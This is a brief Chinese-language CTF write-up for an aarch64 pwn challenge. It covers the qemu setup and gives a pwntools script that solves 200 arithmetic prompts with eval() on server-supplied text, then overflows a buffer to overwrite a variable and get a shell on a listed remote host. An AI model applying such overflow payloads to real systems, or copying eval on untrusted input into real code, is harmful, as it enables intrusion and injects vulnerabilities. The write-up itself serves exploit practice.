arm aarch64架构的题,搭建好qemu环境即可调试,题目很简单,不需要本地调试,直接利用IDA F5查看伪C代码即可写EXP 200次输入正确结果,利用python里面的eval函数即可自动计算结果,然后通过覆盖目标变量的值即可getshell
本地运行需要安装所需要的库 ,搜索aarch64的交叉编译的库
1 2 3 4 5 6 7 8 9 10
➜ sudo apt-cache search aarch64 cpp-5-aarch64-linux-gnu - GNU C preprocessor cpp-aarch64-linux-gnu - GNU C preprocessor (cpp) for the arm64 architecture g++-5-aarch64-linux-gnu - GNU C++ 编译器 g++-aarch64-linux-gnu - GNU C++ compiler for the arm64 architecture gcc-5-aarch64-linux-gnu - GNU C 编译器 gcc-5-aarch64-linux-gnu-base - GCC, the GNU Compiler Collection (base package) gcc-aarch64-linux-gnu - GNU C compiler for the arm64 architecture binutils-aarch64-linux-gnu - GNU binary utilities, for aarch64-linux-gnu target qemu-system-arm - QEMU full system emulation binaries (arm)
from pwn import * import sys #context.log_level = "debug"
if sys.argv[1] == "r": p = remote('39.97.210.182','40285') elif sys.argv[1] == "l": p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "pwn"]) else: p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "pwn"]) #os.system("gdb -q -ex 'target remote localhost:1234' ")
#pause() for i in range(200) : p. recvuntil("~Math: ") data = p.recvuntil(" = ")[:-3] answer = eval(data) p. sendline(str(answer)) payload= 'a'*0x64+p64(0x12235612) p. sendline(payload) p. interactive()